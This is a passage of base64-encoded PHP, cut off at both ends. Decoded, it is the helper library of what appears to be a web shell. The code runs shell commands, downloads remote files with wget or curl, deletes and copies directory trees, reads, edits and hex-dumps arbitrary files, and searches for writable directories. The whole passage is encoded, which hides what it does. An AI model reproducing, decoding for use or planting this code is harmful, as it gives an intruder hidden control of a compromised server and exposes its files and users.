dG9yKTsgaWYoaW5fYXJyYXkoc3Vic3RyKCRpdGVyYXRvciwgc3RycnBvcygkaXRlcmF0b3IsICcvJykrMSksIGFycmF5KCcuJywgJy4uJykpKSBjb250aW51ZTsgaWYoaXNfZGlyKCRpdGVyYXRvcikpICR6aXAtPmFkZEVtcHR5RGlyKHN0cl9yZXBsYWNlKCRmaWxlLicvJywgJycsICRpdGVyYXRvci4nLycpKTsgZWxzZSBpZihpc19maWxlKCRpdGVyYXRvcikpICR6aXAtPmFkZEZyb21TdHJpbmcoc3RyX3JlcGxhY2UoJGZpbGUuJy8nLCAnJywgJGl0ZXJhdG9yKSwgcmVhZF9maWxlKCRpdGVyYXRvcikpOyB9IH0gZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSAkemlwLT5hZGRGcm9tU3RyaW5nKGJhc2VuYW1lKCRmaWxlKSwgcmVhZF9maWxlKCRmaWxlKSk7IH0gaWYoJHppcC0+Z2V0U3RhdHVzU3RyaW5nKCkhPT1mYWxzZSkgJHN0YXR1cyA9IHRydWU7ICR6aXAtPmNsb3NlKCk7IH0gcmV0dXJuICRzdGF0dXM7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdjb21wcmVzcycpKXsgZnVuY3Rpb24gY29tcHJlc3MoJHR5cGUsICRhcmNoaXZlLCAkZmlsZXMpeyBpZighaXNfYXJyYXkoJGZpbGVzKSkgJGZpbGVzID0gYXJyYXkoJGZpbGVzKTsgaWYoJHR5cGU9PSd6aXAnKXsgaWYoemlwKCRmaWxlcywgJGFyY2hpdmUpKSByZXR1cm4gdHJ1ZTsgZWxzZSByZXR1cm4gZmFsc2U7IH0gZWxzZWlmKCgkdHlwZT09J3RhcicpfHwoJHR5cGU9PSd0YXJneicpKXsgJGFyY2hpdmUgPSBiYXNlbmFtZSgkYXJjaGl2ZSk7ICRsaXN0c0Jhc2VuYW1lID0gYXJyYXlfbWFwKCJiYXNlbmFtZSIsICRmaWxlcyk7ICRsaXN0cyA9IGFycmF5X21hcCgid3JhcF93aXRoX3F1b3RlcyIsICRsaXN0c0Jhc2VuYW1lKTsgaWYoJHR5cGU9PSd0YXInKSBleGVjdXRlKCJ0YXIgY2YgXCIiLiRhcmNoaXZlLiJcIiAiLmltcGxvZGUoIiAiLCAkbGlzdHMpKTsgZWxzZWlmKCR0eXBlPT0ndGFyZ3onKSBleGVjdXRlKCJ0YXIgY3pmIFwiIi4kYXJjaGl2ZS4iXCIgIi5pbXBsb2RlKCIgIiwgJGxpc3RzKSk7IGlmKGlzX2ZpbGUoJGFyY2hpdmUpKSByZXR1cm4gdHJ1ZTsgZWxzZSByZXR1cm4gZmFsc2U7IH0gcmV0dXJuIGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZGVjb21wcmVzcycpKXsgZnVuY3Rpb24gZGVjb21wcmVzcygkdHlwZSwgJGFyY2hpdmUsICRwYXRoKXsgJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsgJHN0YXR1cyA9IGZhbHNlOyBpZihpc19kaXIoJHBhdGgpKXsgY2hkaXIoJHBhdGgpOyBpZigkdHlwZT09J3VuemlwJyl7IGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7ICR0YXJnZXQgPSAkcGF0aC5iYXNlbmFtZSgkYXJjaGl2ZSwiLnppcCIpOyBpZigkemlwLT5vcGVuKCRhcmNoaXZlKSl7IGlmKCFpc19kaXIoJHRhcmdldCkpIG1rZGlyKCR0YXJnZXQpOyBpZigkemlwLT5leHRyYWN0VG8oJHRhcmdldCkpICRzdGF0dXMgPSB0cnVlOyAkemlwLT5jbG9zZSgpOyB9IH0gfSBlbHNlaWYoJHR5cGU9PSd1bnRhcicpeyAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50YXIiKTsgaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7ICRiZWZvcmUgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsgZXhlY3V0ZSgidGFyIHhmIFwiIi5iYXNlbmFtZSgkYXJjaGl2ZSkuIlwiIC1DIFwiIi4kdGFyZ2V0LiJcIiIpOyAkYWZ0ZXIgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsgaWYoJGJlZm9yZSE9JGFmdGVyKSAkc3RhdHVzID0gdHJ1ZTsgfSBlbHNlaWYoJHR5cGU9PSd1bnRhcmd6Jyl7ICR0YXJnZXQgPSAiIjsgaWYoc3RycG9zKHN0cnRvbG93ZXIoJGFyY2hpdmUpLCAiLnRhci5neiIpIT09ZmFsc2UpICR0YXJnZXQgPSBiYXNlbmFtZSgkYXJjaGl2ZSwiLnRhci5neiIpOyBlbHNlaWYoc3RycG9zKHN0cnRvbG93ZXIoJGFyY2hpdmUpLCAiLnRneiIpIT09ZmFsc2UpICR0YXJnZXQgPSBiYXNlbmFtZSgkYXJjaGl2ZSwiLnRneiIpOyBpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsgJGJlZm9yZSA9IGNvdW50KGdldF9hbGxfZmlsZXMoJHRhcmdldCkpOyBleGVjdXRlKCJ0YXIgeHpmIFwiIi5iYXNlbmFtZSgkYXJjaGl2ZSkuIlwiIC1DIFwiIi4kdGFyZ2V0LiJcIiIpOyAkYWZ0ZXIgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsgaWYoJGJlZm9yZSE9JGFmdGVyKSAkc3RhdHVzID0gdHJ1ZTsgfSB9IHJldHVybiAkc3RhdHVzOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZG93bmxvYWQnKSl7IGZ1bmN0aW9uIGRvd25sb2FkKCR1cmwgLCRzYXZlYXMpeyBpZighcHJlZ19tYXRjaCgiL1thLXpdKzpcL1wvLisvIiwkdXJsKSkgcmV0dXJuIGZhbHNlOyAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkdXJsKTsgaWYoJGNvbnRlbnQgPSByZWFkX2ZpbGUoJHVybCkpeyBpZihpc19maWxlKCRzYXZlYXMpKSB1bmxpbmsoJHNhdmVhcyk7IGlmKHdyaXRlX2ZpbGUoJHNhdmVhcywgJGNvbnRlbnQpKXsgcmV0dXJuIHRydWU7IH0gfSAkYnVmZiA9IGV4ZWN1dGUoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsgaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7ICRidWZmID0gZXhlY3V0ZSgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOyBpZihpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsgJGJ1ZmYgPSBleGVjdXRlKCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsgaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7ICRidWZmID0gZXhlY3V0ZSgibHlueCAtc291cmNlICIuJHVybC4iID4gIi4kc2F2ZWFzKTsgaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7IHJldHVybiBmYWxzZTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9maWxlcGVybXMnKSl7IGZ1bmN0aW9uIGdldF9maWxlcGVybXMoJGZpbGUpeyBpZigkcGVybXMgPSBAZmlsZXBlcm1zKCRmaWxlKSl7ICRmbGFnID0gJ3UnOyBpZigoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApJGZsYWcgPSAncyc7IGVsc2VpZigoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApJGZsYWcgPSAnbCc7IGVsc2VpZigoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApJGZsYWcgPSAnLSc7IGVsc2VpZigoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApJGZsYWcgPSAnYic7IGVsc2VpZigoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApJGZsYWcgPSAnZCc7IGVsc2VpZigoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApJGZsYWcgPSAnYyc7IGVsc2VpZigoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApJGZsYWcgPSAncCc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDQwMCk/ICdyJzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDIwMCk/ICd3JzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDEwMCk/ICd4JzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDA0MCk/ICdyJzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDAyMCk/ICd3JzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDAxMCk/ICd4JzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDAwNCk/ICdyJzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDAwMik/ICd3JzonLSc7ICRmbGFnIC49ICgkcGVybXMgJiAwMDAwMSk/ICd4JzonLSc7IHJldHVybiAkZmxhZzsgfSBlbHNlIHJldHVybiAiPz8/Pz8/Pz8/Pz8iOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZm9ybWF0X2JpdCcpKXsgZnVuY3Rpb24gZm9ybWF0X2JpdCgkc2l6ZSl7ICRiYXNlID0gbG9nKCRzaXplKSAvIGxvZygxMDI0KTsgJHN1ZmZpeGVzID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicsJ1BCJywnRUInLCdaQicsJ1lCJyk7IHJldHVybiByb3VuZChwb3coMTAyNCwgJGJhc2UgLSBmbG9vcigkYmFzZSkpLDIpLiIgIi4kc3VmZml4ZXNbZmxvb3IoJGJhc2UpXTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9maWxlc2l6ZScpKXsgZnVuY3Rpb24gZ2V0X2ZpbGVzaXplKCRmaWxlKXsgJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpOyBpZigkc2l6ZSE9PWZhbHNlKXsgaWYoJHNpemU8PTApIHJldHVybiAwOyByZXR1cm4gZm9ybWF0X2JpdCgkc2l6ZSk7IH0gZWxzZSByZXR1cm4gIj8/PyI7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfZmlsZW10aW1lJykpeyBmdW5jdGlvbiBnZXRfZmlsZW10aW1lKCRmaWxlKXsgcmV0dXJuIEBkYXRlKCJkLU0tWSBIOmk6cyIsIGZpbGVtdGltZSgkZmlsZSkpOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVvd25lcicpKXsgZnVuY3Rpb24gZ2V0X2ZpbGVvd25lcigkZmlsZSl7ICRvd25lciA9ICI/Oj8iOyBpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikpeyAkbmFtZSA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXAgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iOiIuJGdyb3VwWyduYW1lJ107IH0gcmV0dXJuICRvd25lcjsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3JtZGlycycpKXsgZnVuY3Rpb24gcm1kaXJzKCRkaXIsICRjb3VudGVyID0gMCl7IGlmKGlzX2RpcigkZGlyKSkgJGRpciA9IHJlYWxwYXRoKCRkaXIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IGlmKCRkaCA9IG9wZW5kaXIoJGRpcikpeyB3aGlsZSgoJGYgPSByZWFkZGlyKCRkaCkpIT09ZmFsc2UpeyBpZigoJGYhPScuJykmJigkZiE9Jy4uJykpeyAkZiA9ICRkaXIuJGY7IGlmKEBpc19kaXIoJGYpKSAkY291bnRlciArPSBybWRpcnMoJGYpOyBlbHNleyBpZih1bmxpbmsoJGYpKSAkY291bnRlcisrOyB9IH0gfSBjbG9zZWRpcigkZGgpOyBpZihybWRpcigkZGlyKSkgJGNvdW50ZXIrKzs7IH0gcmV0dXJuICRjb3VudGVyOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnY29weXMnKSl7IGZ1bmN0aW9uIGNvcHlzKCRzb3VyY2UgLCAkdGFyZ2V0ICwkYz0wKXsgJHNvdXJjZSA9IHJlYWxwYXRoKCRzb3VyY2UpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IGlmKCRkaCA9IG9wZW5kaXIoJHNvdXJjZSkpeyBpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsgJHRhcmdldCA9IHJlYWxwYXRoKCR0YXJnZXQpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IHdoaWxlKCgkZiA9IHJlYWRkaXIoJGRoKSkhPT1mYWxzZSl7IGlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7IGlmKGlzX2Rpcigkc291cmNlLiRmKSl7IGNvcHlzKCRzb3VyY2UuJGYsICR0YXJnZXQuJGYsICRjKTsgfSBlbHNleyBpZihjb3B5KCRzb3VyY2UuJGYsICR0YXJnZXQuJGYpKSAkYysrOyB9IH0gfSBjbG9zZWRpcigkZGgpOyB9IHJldHVybiAkYzsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9hbGxfZmlsZXMnKSl7IGZ1bmN0aW9uIGdldF9hbGxfZmlsZXMoJHBhdGgpeyAkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyAkZmlsZXMgPSBnbG9iKCRwYXRoLicqJyk7IGZvcigkaSA9IDA7ICRpPGNvdW50KCRmaWxlcyk7ICRpKyspeyBpZihpc19kaXIoJGZpbGVzWyRpXSkpeyAkc3ViZGlyID0gZ2xvYigkZmlsZXNbJGldLkRJUkVDVE9SWV9TRVBBUkFUT1IuJyonKTsgaWYoaXNfYXJyYXkoJGZpbGVzKSAmJiBpc19hcnJheSgkc3ViZGlyKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkc3ViZGlyKTsgfSB9IHJldHVybiAkZmlsZXM7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdyZWFkX2ZpbGUnKSl7IGZ1bmN0aW9uIHJlYWRfZmlsZSgkZmlsZSl7ICRjb250ZW50ID0gZmFsc2U7IGlmKCRmaCA9IEBmb3BlbigkZmlsZSwgInJiIikpeyAkY29udGVudCA9ICIiOyB3aGlsZSghZmVvZigkZmgpKXsgJGNvbnRlbnQgLj0gZnJlYWQoJGZoLCA4MTkyKTsgfSB9IHJldHVybiAkY29udGVudDsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ3dyaXRlX2ZpbGUnKSl7IGZ1bmN0aW9uIHdyaXRlX2ZpbGUoJGZpbGUsICRjb250ZW50KXsgaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAid2IiKSl7IGlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9PWZhbHNlKSByZXR1cm4gdHJ1ZTsgfSByZXR1cm4gZmFsc2U7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCd2aWV3X2ZpbGUnKSl7IGZ1bmN0aW9uIHZpZXdfZmlsZSgkZmlsZSwgJHR5cGUsICRwcmVzZXJ2ZVRpbWVzdGFtcD0ndHJ1ZScpeyAkb3V0cHV0ID0gIiI7IGlmKGlzX2ZpbGUoJGZpbGUpKXsgJGRpciA9IGRpcm5hbWUoJGZpbGUpOyAkb3duZXIgPSAiIjsgaWYoIWlzX3dpbigpKXsgJG93bmVyID0gIjx0cj48dGQ+T3duZXI8L3RkPjx0ZD4iLmdldF9maWxlb3duZXIoJGZpbGUpLiI8L3RkPjwvdHI+IjsgfSAkaW1hZ2VfaW5mbyA9IEBnZXRpbWFnZXNpemUoJGZpbGUpOyAkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7ICRtaW1lID0gIiI7ICRmaWxlX2V4dF9wb3MgPSBzdHJycG9zKCRmaWxlLCAiLiIpOyBpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpeyAkZmlsZV9leHQgPSB0cmltKHN1YnN0cigkZmlsZSwgJGZpbGVfZXh0X3BvcyksIi4iKTsgaWYocHJlZ19tYXRjaCgiLyhbXlxzXSspXCAuKlxiIi4kZmlsZV9leHQuIlxiLiovaSIsICRtaW1lX2xpc3QsICRyZXMpKXsgJG1pbWUgPSAkcmVzWzFdOyB9IH0gaWYoJHR5cGU9PSJhdXRvIil7IGlmKGlzX2FycmF5KCRpbWFnZV9pbmZvKSkgJHR5cGUgPSAnaW1hZ2UnOyBlbHNlaWYoIWVtcHR5KCRtaW1lKSkgJHR5cGUgPSAibXVsdGltZWRpYSI7IGVsc2UgJHR5cGUgPSAicmF3IjsgfSAkY29udGVudCA9ICIiOyBpZigkdHlwZT09ImNvZGUiKXsgJGhsX2FyciA9IGFycmF5KCAiaGxfZGVmYXVsdCI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuZGVmYXVsdCcpLCAiaGxfa2V5d29yZCI9PiBpbmlfZ2V0KCdoaWdobGlnaHQua2V5d29yZCcpLCAiaGxfc3RyaW5nIj0+IGluaV9nZXQoJ2hpZ2hsaWdodC5zdHJpbmcnKSwgImhsX2h0bWwiPT4gaW5pX2dldCgnaGlnaGxpZ2h0Lmh0bWwnKSwgImhsX2NvbW1lbnQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmNvbW1lbnQnKSApOyAkY29udGVudCA9IGhpZ2hsaWdodF9zdHJpbmcocmVhZF9maWxlKCRmaWxlKSx0cnVlKTsgZm9yZWFjaCgkaGxfYXJyIGFzICRrPT4kdil7ICRjb250ZW50ID0gc3RyX3JlcGxhY2UoIjxmb250IGNvbG9yPVwiIi4kdi4iXCI+IiwgIjxmb250IGNsYXNzPSciLiRrLiInPiIsICRjb250ZW50KTsgJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiPHNwYW4gc3R5bGU9XCJjb2xvcjogIi4kdi4iXCI+IiwgIjxzcGFuIGNsYXNzPSciLiRrLiInPiIsICRjb250ZW50KTsgfSB9IGVsc2VpZigkdHlwZT09ImltYWdlIil7ICR3aWR0aCA9IChpbnQpICRpbWFnZV9pbmZvWzBdOyAkaGVpZ2h0ID0gKGludCkgJGltYWdlX2luZm9bMV07ICRpbWFnZV9pbmZvX2ggPSAiSW1hZ2UgdHlwZSA9IDxzcGFuIGNsYXNzPSdzdHJvbmcnPig8L3NwYW4+ICIuJGltYWdlX2luZm9bJ21pbWUnXS4iIDxzcGFuIGNsYXNzPSdzdHJvbmcnPik8L3NwYW4+PGJyPiBJbWFnZSBTaXplID0gPHNwYW4gY2xhc3M9J3N0cm9uZyc+KCA8L3NwYW4+Ii4kd2lkdGguIiB4ICIuJGhlaWdodC4iPHNwYW4gY2xhc3M9J3N0cm9uZyc+ICk8L3NwYW4+PGJyPiI7IGlmKCR3aWR0aCA+IDgwMCl7ICR3aWR0aCA9IDgwMDsgJGltZ2xpbmsgPSAiPHA+PGEgaWQ9J3ZpZXdGdWxsc2l6ZSc+IDxzcGFuIGNsYXNzPSdzdHJvbmcnPlsgPC9zcGFuPlZpZXcgRnVsbCBTaXplPHNwYW4gY2xhc3M9J3N0cm9uZyc+IF08L3NwYW4+PC9hPjwvcD4iOyB9IGVsc2UgJGltZ2xpbmsgPSAiIjsgJGNvbnRlbnQgPSAiPGNlbnRlcj4iLiRpbWFnZV9pbmZvX2guIjxicj4iLiRpbWdsaW5rLiIgPGltZyBpZD0ndmlld0ltYWdlJyBzdHlsZT0nd2lkdGg6Ii4kd2lkdGguInB4Oycgc3JjPSdkYXRhOiIuJGltYWdlX2luZm9bJ21pbWUnXS4iO2Jhc2U2NCwiLmJhc2U2NF9lbmNvZGUocmVhZF9maWxlKCRmaWxlKSkuIicgYWx0PSciLiRmaWxlLiInPjwvY2VudGVyPiAiOyB9IGVsc2VpZigkdHlwZT09Im11bHRpbWVkaWEiKXsgJGNvbnRlbnQgPSAiPGNlbnRlcj4gPHZpZGVvIGNvbnRyb2xzPiA8c291cmNlIHNyYz0nJyB0eXBlPSciLiRtaW1lLiInPiA8L3ZpZGVvPiA8cD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibXVsdGltZWRpYSgnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInKTtcIj5Mb2FkIE11bHRpbWVkaWEgRmlsZTwvc3Bhbj48L3A+IDwvY2VudGVyPiI7IH0gZWxzZWlmKCR0eXBlPT0iZWRpdCIpeyAkcHJlc2VydmVjYm94ID0gKCRwcmVzZXJ2ZVRpbWVzdGFtcD09J3RydWUnKT8gIiBjQm94U2VsZWN0ZWQiOiIiOyAkY29udGVudCA9ICI8dGFibGUgaWQ9J2VkaXRUYmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlZGl0RmlsZW5hbWUnIGNsYXNzPSdjb2xTcGFuJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGZpbGUpLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdlZGl0X3NhdmVfcmF3Jyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImVkaXRfc2F2ZV9yYXcoKTtcIj5zYXZlPC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Jz48ZGl2IGNsYXNzPSdjQm94Ii4kcHJlc2VydmVjYm94LiInPjwvZGl2PjxzcGFuPnByZXNlcnZlIG1vZGlmaWNhdGlvbiB0aW1lc3RhbXA8L3NwYW4+PHNwYW4gaWQ9J2VkaXRSZXN1bHQnPjwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgaWQ9J2VkaXRJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfY3RybF9lbnRlcih0aGlzLCBldmVudCwgJ2VkaXRfc2F2ZV9yYXcnKTtcIj4iLmh0bWxfc2FmZShyZWFkX2ZpbGUoJGZpbGUpKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOyB9IGVsc2VpZigkdHlwZT09ImhleCIpeyAkcHJlc2VydmVjYm94ID0gKCRwcmVzZXJ2ZVRpbWVzdGFtcD09J3RydWUnKT8gIiBjQm94U2VsZWN0ZWQiOiIiOyAkY29udGVudCA9ICI8dGFibGUgaWQ9J2VkaXRUYmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlZGl0RmlsZW5hbWUnIGNsYXNzPSdjb2xTcGFuJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGZpbGUpLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdlZGl0X3NhdmVfaGV4Jyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImVkaXRfc2F2ZV9oZXgoKTtcIj5zYXZlPC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Jz48ZGl2IGNsYXNzPSdjQm94Ii4kcHJlc2VydmVjYm94LiInPjwvZGl2PjxzcGFuPnByZXNlcnZlIG1vZGlmaWNhdGlvbiB0aW1lc3RhbXA8L3NwYW4+PHNwYW4gaWQ9J2VkaXRIZXhSZXN1bHQnPjwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgaWQ9J2VkaXRJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfY3RybF9lbnRlcih0aGlzLCBldmVudCwgJ2VkaXRfc2F2ZV9oZXgnKTtcIj4iLmJpbjJoZXgocmVhZF9maWxlKCRmaWxlKSkuIjwvdGV4dGFyZWE+PC90ZD48L3RyPjwvdGFibGU+IjsgfSBlbHNlICRjb250ZW50ID0gIjxwcmU+Ii5odG1sX3NhZmUocmVhZF9maWxlKCRmaWxlKSkuIjwvcHJlPiI7ICRvdXRwdXQgLj0gIiA8dGFibGUgaWQ9J3ZpZXdGaWxlJyBjbGFzcz0nYm94dGJsJz4gPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5GaWxlbmFtZTwvdGQ+PHRkPiIuaHRtbF9zYWZlKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPlNpemU8L3RkPjx0ZD4iLmdldF9maWxlc2l6ZSgkZmlsZSkuIiAoIi5maWxlc2l6ZSgkZmlsZSkuIik8L3RkPjwvdHI+ICIuJG93bmVyLiIgPHRyPjx0ZD5QZXJtaXNzaW9uPC90ZD48dGQ+Ii5nZXRfZmlsZXBlcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPkNyZWF0ZSB0aW1lPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVjdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+TGFzdCBtb2RpZmllZDwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6aTpzIixmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZWF0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJGZpbGUpLiInPjx0ZCBjb2xzcGFuPScyJz4gPHNwYW4gY2xhc3M9J25hdmlnYXRlIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+ZXhwbG9yZXI8L3NwYW4+IDxzcGFuIGNsYXNzPSdhY3Rpb24gYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5hY3Rpb248L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdyYXcnKTtoaWRlX2JveCgpO1wiPnJhdzwvc3Bhbj4gPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ2NvZGUnKTtoaWRlX2JveCgpO1wiPmNvZGU8L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdoZXgnKTtoaWRlX2JveCgpO1wiPmhleDwvc3Bhbj4gPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ2ltYWdlJyk7aGlkZV9ib3goKTtcIj5pbWFnZTwvc3Bhbj4gPHNwYW4gY2xhc3M9J2J1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oycgb25jbGljaz1cInZpZXcoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJywgJ211bHRpbWVkaWEnKTtoaWRlX2JveCgpO1wiPm11bHRpbWVkaWE8L3NwYW4+IDwvdGQ+PC90cj4gPHRyPjx0ZCBjb2xzcGFuPScyJz48ZGl2IGlkPSd2aWV3RmlsZWNvbnRlbnQnPiIuJGNvbnRlbnQuIjwvZGl2PjwvdGQ+PC90cj4gPC90YWJsZT4iOyB9IGVsc2UgJG91dHB1dCA9ICJlcnJvciI7IHJldHVybiAkb3V0cHV0OyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X3dyaXRhYmxlZGlyJykpeyBmdW5jdGlvbiBnZXRfd3JpdGFibGVkaXIoKXsgaWYoaXNfd3JpdGFibGUoIi4iKSkgcmV0dXJuIHJlYWxwYXRoKCIuIikuRElSRUNUT1JZX1NFUEFSQVRPUjsgZWxzZXsgZm9yZWFjaChhcnJheSgnVE1QJywgJ1RFTVAnLCAnVE1QRElSJykgYXMgJGspeyBpZighZW1wdHkoJF9FTlZbJGtdKSl7IGlmKGlzX3dyaXRhYmxlKCRfRU5WWyRrXSkpIHJldHVybiByZWFscGF0aCgkX0VOVlska10pLkRJUkVDVE9SWV9TRVBBUkFUT1I7IH0gfSBpZihmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSl7ICRkaXIgPSBzeXNfZ2V0X3RlbXBfZGlyKCk7IGlmKGlzX3dyaXRhYmxlKCRkaXIpKSByZXR1cm4gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUjsgfSBlbHNleyBpZigh